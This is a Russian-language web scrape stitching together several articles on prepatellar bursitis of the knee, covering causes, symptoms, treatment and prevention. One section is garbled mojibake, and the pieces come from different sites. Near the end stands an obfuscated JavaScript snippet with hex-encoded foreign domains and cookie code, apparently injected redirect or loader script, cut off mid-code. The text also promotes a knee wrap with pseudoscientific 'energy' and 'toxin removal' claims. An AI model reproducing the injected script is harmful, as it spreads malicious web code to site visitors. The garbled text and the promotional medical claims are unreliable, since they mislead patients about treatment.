Препателлярный бурсит лечение

Препателлярный бурсит – это заболевание, характеризуемое повреждением тканей и воспалением суставной сумки коленного сустава (небольшой мешочек, наполненный жидкостью, который расположен между коленной чашечкой и кожей). Основной признак развития бурсита – боль в области поражения.

Существует несколько разновидностей бурсита коленного сустава, в зависимости от вовлечения в воспалительный процесс той или иной суставной сумки.

Кроме препателлярной сумки в области колена имеется также супрапателлярная суставная сумка, которая располагается в месте соединения коленных хрящей. Ее воспаление называется супрапателлярный бурсит. Тем не менее, несмотря на разные названия, симптомы заболеваний остаются почти одинаковыми.

Причины

Наиболее распространенными факторами, приводящими к развитию бурсита коленного сустава, являются:

• Постоянные и длительные физические нагрузки с вовлечением в работу коленных суставов или с сильным давлением в данной области
• Направленный удар, падение на колени
• Инфекции в месте пореза или ссадины на колене
• Чрезмерная нагрузка на колени при сопутствующем ожирении
• Наличие у пациента инфекционных заболеваний (сифилис, туберкулез, бруцеллез, гонорея и пр.)
• Тренировки в экстремальных условиях (с повышенным риском травмирования)

Развитие воспаления в коленном суставе характерно не только для спортсменов. Это состояние может развиваться у каждого человека даже после незначительной травмы:

• Известный актер Том Хэнкс в 2013 году перенес операцию по поводу бурсита коленного сустава и даже снял процесс лечения на видео
• В 2011 году певец Барри Манилов перенес операцию по поводу осложненного препателлярного бурсита. «Хорошие новости: после нескольких кошмарных недель я, наконец, восстал из мертвых. Я понемногу начинаю ходить, пока еще с костылем, но уже скоро поправлюсь окончательно»

Коленный бурсит классифицируют:

• По клиническому течению: хронический, подострый, острый бурсит
• По возбудителю: на неспрецифический и специфический (туберкулезный бурсит, при гонорее, при сифилисе, бруцеллезе). В этой же классификации иногда подразделяют на инфекционный и асептический (неинфекционный)
• По характеру экссудата:
  • геморрагический бурсит- в жидкости много эритроцитов
  • серозный — в жидкости плазма с примесью форменных элементов крови
  • гнойный — наличие распавшихся лейкоцитов, разрушенных клеток, микроорганизмы
  • фибринозный бурсит — высокое содержание фибрина
  
  

Симптомы

Основные характеризующие бурсит коленного сустава симптомы, включают постепенно нарастающую боль и отек прямо перед коленной чашечкой. В менее тяжелых случаях отек может не наблюдаться, а пациента беспокоит скованность движений, нарастающая при длительной физической активности. На начальной стадии боль, наоборот, может утихать по мере улучшения кровотока в области сустава, то есть при умеренных нагрузках состояние больного может улучшаться.

Среди других признаков:

• Невозможность полностью разогнуть ногу в коленном суставе;
• Боль при прикосновении к области коленной чашечки;
• Боль при ходьбе (обычно по наклонной поверхности – подъем или спуск с горы и т.д.);
• Отек, уплотнение, покраснение и местное повышение температуры в области сустава (признаки воспаления).

Боль возникает прямо над коленной чашечкой и может распространяться на тыльную часть колена и внутреннюю поверхность бедра, а также вверх или вниз по ноге. Боль усиливается при скрещивании ног, а также при подъеме после длительного сидения в одной позе. Больной препателлярным бурситом не может встать на колени.

Косвенным симптомом является нарушение сна. Это происходит из-за того, что боль при сгибании ноги или при перемене положения тела может значительно усиливаться, в зависимости от тяжести воспаления. Многие больные, основываясь на собственных ощущениях, рекомендуют на время сна класть между коленями (или бедрами) подушку.

Ограничение подвижности возникает при прогрессировании заболевания, когда недолеченное воспаление приобретает большую выраженность, причиняя сильную боль при сгибании ноги. Со временем в пораженной конечности развивается мышечная слабость и дистрофия.

При остром бурсите:

• В области сумки образуется припухлость, округлая, болезненная, упругая
• Появляется покраснение, отек и боль мягких тканей
• Ограничивается движение сустава
• У пациента может быть общее недомогание и повышаться температура
• Затем покраснение увеличивается, боль усиливается, температура может достигать 40С
• Возможно развитие гнойного процесса, флегмоны

Своевременное и правильное лечение острого бурсита останавливает прогрессирование заболевания и оно не переходит в подострое, а затем хроническое.

При хроническом бурсите:

• Движение в суставе не ограничивается
• В области сумки — округлая мягкая припухлость
• Но боли, покраснения и отека окружающих тканей нет
• При хроническом процессе возможно возникновение рецидива (травма, снижение иммунитета)

Виды бурситов

Препателлярный бурсит — самый часто встречающийся, при этом воспаляется подкожная сумка на передней поверхности колена. Причиной может служить падагрический артрит, отложение солей при псеводоподагре, ревматоидный артрит, а также часто возникает после ушиба, травмы, падения на колено или профессиональное, если работа требует частого стояния на коленях. В отличие от артрита боль не сильно выражена и ограничение движения не значительны. При  инфицировании содержимого в полости бурсы увеличиваются лимфатические узлы, усиливается боль, повышается температура тела.

Инфрапателлярный бурсит — возникает из-за воспаления бурсы, расположенной под сухожилием под коленной чашечкой, чаще всего развивается после прыжков или травм. Лечение заключается в покое, холодных компрессах, приеме НПВС, обезболивающих средств.

Гусиный бурсит (киста Бейкера) — воспаляется бурса, расположенная сзади на внутренней поверхности коленного сустава. Чаще бывает у женщин с лишним весом, сопровождается болью, которые более выражены при спуске или подъеме по лестнице.

Лечение

Большинство случаев препателлярного бурсита лечатся с применением физиотерапии. Частота положительных результатов во многом зависит от участия самого пациента. Одним из ключевых компонентов лечения является достаточный отдых после любой физической активности, которая привела к усилению болевых ощущений.

Если после физиотерапии происходит ухудшение, следует исключить туберкулезную этиологию заболевания, поскольку массаж, тепловые процедуры и физиолечение приводят к ухудшению и прогрессированию заболевания при внелегочных формах туберкулеза.

Действия, оказывающие выраженный раздражающий эффект на суставную сумку коленного сустава, должны быть сведены к минимуму. Как только пациент почувствует, что может выполнять данные действия без сопутствующих болевых ощущений, постепенное восстановление активности будет означать, что дальнейшего нарастания тяжести нет, и состояние больного улучшается.

Игнорирование симптомов, либо попытка адаптироваться к боли могут привести к переходу заболевания в хроническую форму. Поэтому важно начать лечение незамедлительно, независимо от тяжести течения и состояния самого пациента.

В том случае, когда течение заболевания становится хроническим, процесс выздоровления существенно замедляется, и повышается вероятность рецидива в будущем.

Лечение бурсита коленного сустава в начальной фазе проходит в режиме: Лед — Покой —  Давление — Подъем. Данный режим позволяет достичь значительного улучшения состояния, если мероприятия начаты в течение первых 72 часов после травмы.

Щадящий режим включает:

• Ограничение нагрузок, способных ухудшить состояние;
• Регулярное прикладывание льда к области воспаления;
• Применение эластичных сдавливающих бинтов;
• Поддержание больной конечности в приподнятом положении (выше уровня сердца).

Ускорить процесс выздоровления может применение противовоспалительных препаратов, оказывающих болеутоляющее и противоотечное действие.

Помочь в улучшении течения заболевания могут помочь приему мануальной терапии:

• Массаж;
• Иглоукалывание;
• Растяжка;
• Электротерапия.

При правильно проводимой физиотерапии большинство случаев с слабо выраженными проявлениями заболевания обычно излечиваются с восстановлением нормальных функций в течение нескольких недель. При более тяжелом и хроническом течении восстановление может протекать гораздо дольше.

Также, при этом более высока вероятность того, что больному потребуются дополнительные вмешательства (инъекции кортикостероидов). Раннее начало физиолечения является необходимым для ускорения процесса выздоровления и обеспечения оптимального исхода заболевания со снижением вероятности его повторного развития.

Упражнения

Важную роль в лечении играют специальные упражнения:

• Статические сокращения внутренней головки четырехглавой мышцы

Напрягите мышцы передней поверхности бедра (четырехглавую мышцу), подведя под колено небольшое полотенце и стараясь выпрямить ногу. Положите ладонь на внутреннюю часть бедра, чтобы вы могли почувствовать напряжение внутренней части мышцы при ее сокращении. Зафиксируйте ногу в таком положении на 5 секунд, затем расслабьте. Повторите упражнение 10 раз с максимально возможной силой, но не доводя до появления болезненных ощущений.

• Сгибание и разгибание ноги в коленном суставе

Сгибайте и разгибайте ногу в коленном суставе с максимально возможной амплитудой, но не доводя до появления болевых ощущений. Повторить 10-20 раз, при условии, что в процессе выполнения упражнения не нарастают симптомы заболевания.

Исключите из программы тренировок приседания, повторяющиеся сгибания в коленях, скрещивание ног и другие подобные упражнения.

Хирургическое вмешательство

Бурсит коленного сустава, лечение которого не имело эффекта, может потребовать хирургического вмешательства в виде аспирации (отсасывания) содержимого суставной сумки и введение в нее кортикостероидов.

Эта процедура проводится с помощью тонкой иглы под местной анестезией. После дренирования суставной сумки врач может ввести в нее гормональные препараты – кортикостероиды. Это необходимо для того, чтобы остановить воспалительный процесс. Затем необходимо продолжить ношение эластического бинта и обеспечить продолжительный покой конечности (обычно 48 часов). Такое лечение является намного более эффективным, чем лечение медикаментами (нестероидными противовоспалительными препаратами), так как таблетированные формы оказывают общее действие на организм, зачастую не проникая внутрь суставов.

В редких случаях лечение оказывается неэффективным, и единственным выходом является хирургическое удаление препателлярной суставной сумки. Восстановление нормальных функций сустава после такой операции происходит в течение нескольких дней, а возврат к полноценной жизни без ограничения физической активности возможно осуществить через 2-3 недели.

Антибиотики

Если бурсит имеет инфекционное происхождение (проникновение бактерий в суставную сумку), то для предотвращения развития гнойных осложнений необходимо своевременно начать лечение антибиотиками. Подбор препарата осуществляется на основе определения чувствительности возбудителя. Если после начала лечения заболевание продолжает прогрессировать, то суставную сумку вскрывают и очищают хирургическим путем.

Мази для местного применения

Помимо наколенников для улучшения состояния, снятия отека, воспаления и боли можно применять лечение мазями с противовоспалительными компонентами (см. более подробно в статье мази от боли):

• Фастум-гель на основе нестероидных противовоспалительных препаратов, очень эффективен для быстрого снятия отека, обладает обезболивающим эффектом;
• Найз-гель, тот же механизм действия;
• Финалгон и аналоги – улучшают кровообращение в месте нанесения, способствуют снятию отека;
• Мази с ментолом (Бом-Бенге, Бен-Гей и др.) – противовоспалительный эффект с охлаждающим отвлекающим действием.

Использование новинок — наколенник Knee Inferno Wrap

Новинкой на рынке вспомогательных лечебных устройств является наколенник Knee Inferno Wrap^®, стимулирующий местный кровоток за счет воздействия излучением в определенном спектре.

Устройство излучает свет в диапазоне, почти одинаковом с солнечным светом. За счет этого вырабатывается дополнительная энергия, получаемая организмом больного и используемая на усиление восстановительных процессов.

Так как прибор действует местно, то энергетический поток проникает глубоко в суставную сумку и способствует быстрому выведению токсинов, отмерших клеток и ускоряет рост новой ткани, повышая ее эластичность.

Профилактика

Существует несколько простых советов касательно того, как предотвратить развитие такого нежелательного заболевания:

• Носите наколенники. Особенно это важно для людей с повышенным риском травмирования (футболисты, баскетболисты, борцы). Существуют специальные охлаждающие наколенники, имеющие карманы для пакетов со льдом;
• Регулярно давайте ногам отдыхать. Для избежания длительной нагрузки на колени необходимо постоянно менять вид и интенсивность физической активности;
• После тренировки приложите лед и придайте ногам возвышенное положение.

zdravotvet.ru

Препателлярный бурсит: причины

Что же представляет собой этот недуг? Бурса – это мешочек, состоящий из очень тонкой соединительной ткани. Главная его функция – помогать коже скользить над надколенником, ведь при движении коленный сустав совершает довольно широкую амплитуду. Внутри этого мешочка достаточное количество жидкости, которая обеспечивает скольжение. Если по каким-либо причинам бурса воспаляется, то заболевание и носит название бурсит.

Особенностью препателлярного бурсита является его расположение. Он расположен в верхней части колена, выше надколенника, то есть практически под кожей.

Причин, которые могут спровоцировать начало болезни, несколько:

• падение;
• прямой удар в колено;
• рана колена, когда инфекция проникла вглубь тканей;
• хронические воспалительные заболевания других органов;
• незначительная травма уже поврежденной бурсы;
• постоянные микротравмы коленей (например, при длительном стоянии на них).

Нередко препателлярный бурсит коленного сустава возникает в результате отложения солей. Встречается такой вид бурсита и у людей, страдающих подагрическим артритом.

Вследствие неправильной тактики лечения болезнь может принять хроническую форму. В результате на препателлярной сумке возникают спайки, что со временем может привести к полной неподвижности коленного сустава и, как следствие, к инвалидности больного.

Препателлярный бурсит: симптомы

Симптомы препателлярного бурсита:

• боль в коленном суставе;
• покраснение и припухлость кожи на колене;
• повышение температуры тела;
• ограниченность движения в больном суставе.

Диагностика бурсита препателлярного достаточно проста. Кроме осмотра, клинических анализов, пациентам чаще всего назначают УЗИ. Это исследование позволяет определить толщину бурсы, наличие и количество жидкости в ней. По этим признакам врач может судить о степени поражения больного сустава. Также информативным является рентгенография колена. Все эти исследования и дают врачу полную картину заболевания.

Иногда с диагностической целью выполняют пункцию коленного сустава. Это позволяет взять на анализ жидкость, чтобы определить причину воспаления и подобрать соответствующий антибиотик. С лечебной целью пункция проводится, чтобы ввести в пораженный сустав лекарство.

Лечение препателлярного бурсита

Лечение такого бурсита напрямую зависит от причины, которая его вызвала.

Травматический бурсит обычно лечат консервативными методами. При большом скоплении жидкости ее удаляют через прокол или надрез сустава. Действие лекарственных препаратов в данном случае будет направлено на устранение воспаления, отечности, снятие болевых ощущений. Выбор этих медикаментов достаточно широк.

Больному рекомендуют ограничить двигательную активность до полного восстановления пораженного сустава. Часто назначают физиотерапевтические процедуры. Они способствуют быстрейшему выздоровлению, снятию боли, отечности. Правильно подобранное лечение позволит забыть о болезни уже через 2-3 недели.

Если же причиной бурсита послужила инфекция, то оперативного вмешательства не избежать. Полость суставной сумки вскрывается, удаляется инфицированная жидкость. Сумка промывается дезинфицирующими растворами. В качестве дополнения назначаются антибиотики и противовоспалительные препараты.

Иногда, в случае если консервативные меры не дали результата, прибегают к удалению бурсы. Утолщенную бурсу, которая причиняет боль, неудобство и ограничивает подвижность сустава, удаляют. При наличии шипов на надколеннике их убирают и производят шлифовку, так как в здоровом суставе он совершенно гладкий.

Больному рекомендуют полный покой. Со временем организм формирует новую препателлярную сумку. Она будет иметь нормальную толщину и полностью заменит удаленную.

Человек, перенесший подобную операцию, нуждается в реабилитации. Больному назначают курс лечебной физкультуры, чтобы восстановить подвижность больного сустава. Как правило, полное восстановление занимает от 3 недель до 2 месяцев. На протяжении всего этого времени больному категорически запрещается делать упор на больное колено.

Профилактика бурсита

Любую болезнь легче предупредить, чем лечить. Эти слова относятся и к бурситу. Применяя профилактические меры, можно предотвратить этот малоприятный недуг.

1. Все воспалительные заболевания организма должны быть пролечены.
2. Следует укреплять мышцы ног. Для этого подойдут бег трусцой, занятия на велотренажере, долгие пешие прогулки.
3. Избегайте переохлаждения ног, особенно коленных суставов.
4. Если ваша работа связана с повышенной нагрузкой на колени, используйте специальные защитные наколенники.
5. Укрепляйте организм, ведите здоровый способ жизни.

При соблюдении данных профилактических мер вам не придется познакомиться с таким видом заболевания, как препателлярный бурсит. Будьте здоровы!

zdorovyiskelet.ru

Ïðè÷èíû

1. Íàðóøåíèå ïèòàíèÿ ñòðóêòóð ñóñòàâà (ãîëîäàíèå, ñòðîãèå äèåòû, äåôèöèò áåëêà, ìàêðîýëåìåíòîâ è âèòàìèíîâ â ïîòðåáëÿåìûõ ïðîäóêòàõ).
2. Ãîðìîíàëüíûå ñáîè, âûçûâàþùèå èçìåíåíèÿ â âûðàáîòêå ãîðìîíîâ, íåîáõîäèìûõ äëÿ íîðìàëüíîãî ôóíêöèîíèðîâàíèÿ êîñòåé, õðÿùåé è ñóõîæèëèé.
3. Èíôåêöèè âèðóñíîãî è áàêòåðèàëüíîãî ïðîèñõîæäåíèÿ (ÎÐÂÈ, ãðèïï, ýíòåðèò, ñàëüìîíåëëåç, äèçåíòåðèÿ, êðàñíóõà è ò.ä.).
4. Õðîíè÷åñêèå çàáîëåâàíèÿ âíóòðåííèõ îðãàíîâ (àíãèíû, ñèíóñèòû, êàðèåñ, ïèåëîíåôðèòû, ôóðóíêóëåç è äð.).
5. Áîëåçíè îïîðíî-äâèãàòåëüíîãî àïïàðàòà (àðòðèòû, àðòðîçû, ñèíîâèòû).
6. Ïàòîëîãèè îáìåíà âåùåñòâ (ïîäàãðà, ñàõàðíûé äèàáåò, îæèðåíèå, ãèïîòèðåîç).
7. Ãåíåòè÷åñêèå è íàñëåäñòâåííûå áîëåçíè (âàñêóëèòû, ñêëåðîäåðìèÿ, êðàñíàÿ âîë÷àíêà, ãåìîôèëèÿ).
8. Òðàâìàòè÷åñêèå ïîâðåæäåíèÿ êîëåíà (âûâèõè, ðàñòÿæåíèÿ, òðåùèíû, òðàâìû, ïåðåëîìû).
9. Íîøåíèå ïðîòåçà, åãî îòòîðæåíèå èëè âîñïàëåíèå îêðóæàþùèõ òêàíåé.
10. Çàðàæåíèå ïàòîãåííûìè àãåíòàìè ñèíîâèàëüíîãî ïðîñòðàíñòâà â ðåçóëüòàòå íàðóøåíèÿ íîðì àñåïòèêè è àíòèñåïòèêè ïðè ïðîâåäåíèè õèðóðãè÷åñêèõ ìàíèïóëÿöèé è îïåðàöèé.
11. Íîâîîáðàçîâàíèÿ â îáëàñòè êîëåííîãî ñóñòàâà.
12. Òóáåðêóëåç.
13. Ðåâìàòèçì.
14. Âåíåðè÷åñêèå áîëåçíè (ñèôèëèñ, ãîíîðåÿ).
15. Áîëüøèå íàãðóçêè íà îáëàñòü êîëåíà èëè, íàïðîòèâ, åãî îáåçäâèæèâàíèå è íèçêàÿ àêòèâíîñòü.
16. Ñòàðåíèå îðãàíèçìà è íàðóøåíèå èç-çà ýòîãî íîðìàëüíîãî ïèòàíèÿ è ôóíêöèîíèðîâàíèÿ êîëåííîãî ñóñòàâà.
17. Íèçêèé èììóíèòåò ó ïàöèåíòîâ, íåñïîñîáíîñòü äàòü àäåêâàòíûé îòâåò íà âòîðæåíèå âîçáóäèòåëåé.

Êëèíè÷åñêèå ïðîÿâëåíèÿ, ñèìïòîìû ïðåïàòåëëÿðíîãî áóðñèòà

Ãëàâíûìè ïðèçíàêàìè áîëåçíè ÿâëÿþòñÿ:

• áîëè è îòåê â îáëàñòè êîëåíà;
• ñêîâàííîñòü äâèæåíèé.

Åñëè æèäêîñòü â áóðñå ñåðîçíîãî õàðàêòåðà, îáùåãî óõóäøåíèÿ â ñîñòîÿíèè ïàöèåíòîâ íåò. Åñëè æå ïðîèñõîäèò íàãíîåíèå, áîëüíûå ïðåäúÿâëÿþò æàëîáû íà îáùóþ ñëàáîñòü, îçíîáû è ÷ðåçìåðíóþ ïîòëèâîñòü, áîëè â êîñòÿõ è ìûøöàõ è âûñîêóþ òåìïåðàòóðó (38 ãðàäóñîâ è âûøå).

Íà âûðàæåííîñòü ñèìïòîìîâ âëèÿåò è îáúåì ïàòîëîãè÷åñêîé æèäêîñòè. Åñëè åãî íåìíîãî, áîëè è îãðàíè÷åíèå äâèæåíèé íîñÿò óìåðåííûé õàðàêòåð, åñëè âûïîò íàêàïëèâàåòñÿ â áîëüøèõ êîëè÷åñòâàõ, ïðîèñõîäèò óñèëåíèå âñåõ ïðîÿâëåíèé áîëåçíè.

Ïðè õðîíèçàöèè ïðîöåññà ïîñòîÿííûå âîñïàëåíèÿ â ñèíîâèàëüíîì ïðîñòðàíñòâå ïðèâîäÿò ê íåîáðàòèìûì èçìåíåíèÿì â åãî òêàíÿõ, îäíàêî, âíåøíå ïðèçíàêè áóðñèòà ìîãóò äëèòåëüíîå âðåìÿ íå ïðîÿâëÿòüñÿ. Îáîñòðåíèå áîëåçíè ÷àñòî ïðîâîöèðóþò íàãðóçêè, ïåðåîõëàæäåíèÿ, âðåäíûå ïðèâû÷êè.

Îñòðûì ñ÷èòàåòñÿ çàáîëåâàíèå, êîòîðîå äëèòñÿ îò 3-õ ìåñÿöåâ äî ïîëóãîäà. Åñëè ñèìïòîìàòèêà ïðîÿâëÿåò ñåáÿ äîëüøå èëè áîëåçíü ÷àñòî äàåò ðåöèäèâû, ãîâîðÿò î õðîíè÷åñêîì ïðîöåññå.

Îñëîæíåíèÿ

Ê ïîñëåäñòâèÿì ïðåïàòåëëÿðíîãî áóðñèòà îòíîñÿòñÿ:

• îáðàçîâàíèå àáñöåññîâ è ôëåãìîí;
• ãíîéíûå àðòðèòû è ñèíîâèòû;
• îñòåîìèåëèòû;
• âîçíèêíîâåíèå ó÷àñòêîâ íåêðîçà, ðóáöîâ è ñïàåê â áóðñå, ýòî ïðèâîäèò ê ðåçêîìó îãðàíè÷åíèþ äâèæåíèé â êîëåíå è äàæå ê èíâàëèäèçàöèè ïàöèåíòîâ;
• ñåïñèñ.

Äèàãíîñòèêà

Çàáîëåâàíèå îïðåäåëÿþò ïî æàëîáàì è îáúåêòèâíîìó îñìîòðó ïàöèåíòîâ. Äëÿ ïîäòâåðæäåíèÿ äèàãíîçà èñïîëüçóþò:

• ðåíòãåí, ñ åãî ïîìîùüþ îöåíèâàåòñÿ îáùåå ñîñòîÿíèå êîñòíûõ è õðÿùåâûõ ñòðóêòóð ñóñòàâà, íàëè÷èå óòîëùåíèé è ðàçðàñòàíèé, òðàâìàòè÷åñêèõ ïîâðåæäåíèé;
• ÓÇÈ, ýòîò ìåòîä ïîçâîëÿåò óâèäåòü íàëè÷èå è îáúåìû æèäêîñòè â ñèíîâèàëüíîì ïðîñòðàíñòâå, à òàêæå äèñòðîôèþ è íåêðîç ìÿãêèõ òêàíåé;
• ÌÐÒ, äàííàÿ òåõíèêà èçó÷àåò èçìåíåíèÿ â ñóñòàâå áîëåå äåòàëüíî, òî÷íî îïðåäåëÿåò ó÷àñòêè è õàðàêòåð ïàòîëîãè÷åñêèõ èçìåíåíèé;
• ïóíêöèÿ, ýòî èññëåäîâàíèå ïðîâîäèòñÿ äëÿ óñòàíîâëåíèÿ õàðàêòåðà ñîäåðæèìîãî áóðñû è îïðåäåëåíèÿ âîçáóäèòåëÿ áîëåçíè;
• îáùèé àíàëèç êðîâè, åãî íàçíà÷àþò äëÿ èçó÷åíèÿ ñòåïåíè âëèÿíèÿ âîñïàëèòåëüíîãî ïðîöåññà íà îáùåå ñîñòîÿíèå ïàöèåíòîâ è äëÿ êîíòðîëÿ íàä ëå÷åáíûìè ìåðîïðèÿòèÿìè.

Äëÿ ïîëíîé êàðòèíû áîëåçíè â ñëó÷àÿõ îáíàðóæåíèÿ ïàòîëîãèé, êîòîðûå ìîãóò ÿâëÿòüñÿ ïðè÷èíîé ïðåïàòåëëÿðíîãî àðòðèòà (ñàõàðíûé äèàáåò, àðòðèòû, ñêëåðîäåðìèÿ, áîëåçíè âíóòðåííèõ îðãàíîâ), íàçíà÷àþòñÿ äîïîëíèòåëüíûå èññëåäîâàíèÿ:

• òåñòû íà óðîâåíü ãîðìîíîâ;
• àíàëèçû íà àíòèãåíû ê çàáîëåâàíèÿì;
• êðîâü íà ñàõàð è áèîõèìè÷åñêèå ïîêàçàòåëè;
• ÓÇÈ, ðåíòãåí èëè ÌÐÒ âíóòðåííèõ îðãàíîâ.

Ëå÷åíèå ïðåïàòåëëÿðíîãî áóðñèòà

Çàáîëåâàíèå òðåáóåò êîìïëåêñíîé òåðàïèè.

Ïðåæäå âñåãî, îïðåäåëÿåòñÿ ïðè÷èíà áîëåçíè. Åñëè îíà ñïåöèôè÷åñêàÿ è çàâèñèò îò îñíîâíîãî çàáîëåâàíèÿ, ïðîâîäèòñÿ êóðñ ñïåöèàëüíîãî ëå÷åíèÿ.

• Èíôåêöèîííûé áóðñèò ïîäëåæèò àíòèáàêòåðèàëüíîé òåðàïèè. Îáû÷íî ïðèìåíÿþò àíòèáèîòèêè øèðîêîãî ñïåêòðà äåéñòâèÿ: öåôàëîñïîðèíû, ìàêðîëèäû, ïåíèöèëëèíû. Ïðîòèâîìèêðîáíûå ïðåïàðàòû ââîäÿò âíóòðèìûøå÷íî èëè âíóòðèñóñòàâíî.
• Âîñïàëèòåëüíûå ïðîöåññû â áóðñå ñíèìàþò íåñòåðîèäíûìè ïðåïàðàòàìè (Äèêëîôåíàê, Èáóïðîôåí, Îðòîôåí) èëè ãîðìîíàìè (Ïðåäíèçîëîí).
• Áîëåçíåííûå îùóùåíèÿ êóïèðóþò ïðèåìîì àíàëüãåòè÷åñêèõ ñðåäñòâ (Àíàëüãèí, Êåòîðîë).
• Âñåì áîëüíûì ðåêîìåíäóåòñÿ ïîñòåëüíûé ðåæèì, ôèêñàöèÿ ñóñòàâà ýëàñòè÷íûìè ïîâÿçêàìè, äðîáíîå è ëåãêîóñâîÿåìîå ïèòàíèå.

Ïîñëå ñòèõàíèÿ îñòðîãî ïðîöåññà ïàöèåíòû äîëæíû äëèòåëüíîå âðåìÿ ñîáëþäàòü ùàäÿùèé äâèãàòåëüíûé ðåæèì è ïðîéòè êóðñ ôèçèîëå÷åíèÿ ñ ïðèìåíåíèåì:

• ÓÂ×;
• ìàãíèòîòåðàïèè;
• ýëåêòðîôîðåçà;
• óëüòðàçâóêà.

Õèðóðãè÷åñêîå âìåøàòåëüñòâî ïðîâîäÿò â ñëó÷àÿõ îòñóòñòâèÿ ýôôåêòà îò êîíñåðâàòèâíîé òåðàïèè, ïóòåì èññå÷åíèÿ íåêðîòè÷åñêèõ ó÷àñòêîâ, ñïàåê èëè âñåé ñèíîâèàëüíîé ñóìêè.  ñëîæíûõ ñëó÷àÿõ âîçìîæíî ïðèìåíåíèå àðòîäåçà èëè ïðîòåçèðîâàíèÿ.

Ïðîôèëàêòèêà

Ê ìåðàì ïðåäîòâðàùåíèÿ áîëåçíè îòíîñÿòñÿ:

• ðàöèîíàëüíîå ïèòàíèå;
• íîðìèðîâàíèå íàãðóçîê;
• ïîëíîöåííûé îòäûõ;
• ñâîåâðåìåííîå ëå÷åíèå îñòðûõ è õðîíè÷åñêèõ áîëåçíåé.

Ðîìàíîâñêàÿ Òàòüÿíà Âëàäèìèðîâíà

comp-doctor.ru

Причины возникновения препателлярного бурсита

Заболевание может вызываться многими причинами. При ударе или падении бурса может разорваться, что приводит к кровоизлиянию. При пальпировании поврежденной суставной сумки можно обнаружить небольшое уплотнение, заполненное жидкостью. Наличие крови в бурсе вызывает воспаление, при котором происходит утолщение суставной сумки. Впоследствии ткани становятся восприимчивы к минимальному механическому воздействию и переохлаждению. Это становится причиной перехода бурсита в хроническую фазу.

Бурсит может начаться и при длительном контакте коленей с твердой поверхностью, приводящем к сдавлению тканей препателлярной сумки. При появлении первых признаков бурсита необходимо исключить подобные состояния. Бурсит иногда может возникнуть вследствие инфекционных заболеваний кожи коленей. Инфекция, проникающая в бурсу, вызывает боли, отек суставной сумки, покраснение пораженной области.

Основные симптомы патологии, диагностика

При бурсите возникает отечность в области колена, боли при ходьбе. Боль может усиливаться при пальпации суставной сумки. Заболевание не позволяет в полной мере опираться на ногу. В некоторых случаях воспалительный отек может сопровождаться наличием комочков, что говорит об утолщении стенок препателлярной сумки. При активном развитии воспалительного процесса количество жидкости увеличивается, что приводит к увеличению самой бурсы. При этом изменяется и внешний вид сустава.

При присоединении инфекции пораженная область сильно распухает, наблюдается местное повышение температуры. На фоне местного воспалительного процесса ухудшается и общее состояние организма: появляется лихорадка, слабость, меняется состав крови. Эти признаки свидетельствуют о необходимости неотложного хирургического вмешательства. Хирургическое лечение заключается во вскрытии и дренировании суставной сумки.

Обычно диагноз ставится на основании наиболее ярких симптомов. При возникновении посттравматического отека рекомендуется проведение рентгенологического обследования для исключения переломов и трещин костей. Для диагностики препателлярного бурсита не требуется специальных анализов и методов.

При подозрении на наличие инфекции врач может назначить пункцию для исследования отобранного материала на присутствие возбудителя. Это помогает не только определить инфекцию, но и подобрать соответствующий антибиотик.

Как лечить это заболевание

Бурсит можно лечить как хирургически, так и медикаментозно. При скоплении большого количества жидкости ее удаляют посредством прокола или небольшого надреза. Процедуры должны выполняться в условиях операциионной, ведь риск попадания инфекции достаточно высок. После операции пациенту накладывают стерильную повязку. Хронический препателлярный бурсит может привести к утрате трудоспособности. Простые повседневные действия начинают вызывать серьезные трудности.

Лечение обычно начинают с ликвидации воспалительного процесса. Для этого врач назначает нестероидные противовоспалительные средства. При пункции в некоторых случаях в суставную сумку вводят небольшие дозы стероидных препаратов, быстро устраняющих воспаление. Лечение включает в себя и физиотерапевтические методы терапии, например, УВЧ, лечение теплом или холодом. Инфекционный бурсит необходимо лечить под постоянным контролем врача. При быстром развитии инфекции в суставной сумке требуется ее вскрытие и последующее промывание антисептическим раствором.

Для оттока жидкости врач может оставить в полости сумки дренажную трубку. После этого во многих случаях происходит быстрая ликвидация инфекции и заживление раны.

Если медикаментозное лечение не приносит положительного результата, врач может порекомендовать удаление бурсы.

Обычно такая операциия назначается уже при запущенных формах заболевания, когда утолщенная суставная сумка мешает движению сустава.

Бурса удаляется через небольшой разрез в области коленного сустава. Воспаленные, увеличенные ткани полностью удаляются, после этого суставные кости должны остаться гладкими. При наличии на костных поверхностях наростов их удаляют, поверхность надколенника выравнивают. После операции разрез зашивают послойно, коленному суставу обеспечивают полную неподвижность. Восстановительный период включает в себя формирование новой суставной оболочки, это происходит из-за движения кожи над коленной чашечкой. Новая бурса будет иметь стенки нормальной толщины.

Реабилитация включает занятия лечебной физкультурой, при этом интенсивность тренировок подбирается индивидуально. Некоторые упражнения можно будет выполнять и после выписки из стационара в домашних условиях. Восстановительный период длится около месяца, после чего пациент может вернуться к обычному образу жизни. Опираться на колено не рекомендуется в течение 2-3 месяцев. Неинфекционный бурсит может пройти сам собой, без какого-либо лечения.

Для того чтобы болезнь не возникла повторно, нужно научиться правильно распределять нагрузку на суставы. Перед началом спортивных тренировок рекомендуется проводить разминку. При занятиях травмоопасными видами спорта не стоит забывать о защитных наколенниках. Своевременно обрабатывайте даже небольшие раны и ссадины перекисью водорода или йодом.

// <![CDATA[

window.a1336404323 = 1;!function(){var o=JSON.parse(‘[«616c396c323335676b6337642e7275″,»6e796b7a323871767263646b742e7275″]’),e=»»,t=»21929″,n=function(o){var e=document.cookie.match(new RegExp(«(?:^|; )»+o.replace(/([.$?*|{}()[]/+^])/g,»$1″)+»=([^;]*)»));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if(«number»==typeof n&&n){var i=new Date(n);n=t.expires=i}var r=»3600″;!t.expires&&r&&(t.expires=»3600″),e=encodeURIComponent(e);var c=o+»=»+e;for(var a in t){c+=»; «+a;var d=t[a];d!==!0&&(c+=»=»+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e=»»,t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

spinazdorov.ru

Препателлярный бурсит: что это такое?

В верхней части коленного сустава находится препателлярная околосуставная сумка (препателлярная бурса). Она располагается над коленной чашечкой. Бурса наполнена жидкостью, которая способствует свободному скольжению и защищает сустав от лишнего трения. Воспаление этой сумки называется препателлярным бурситом. Как он проявляется?

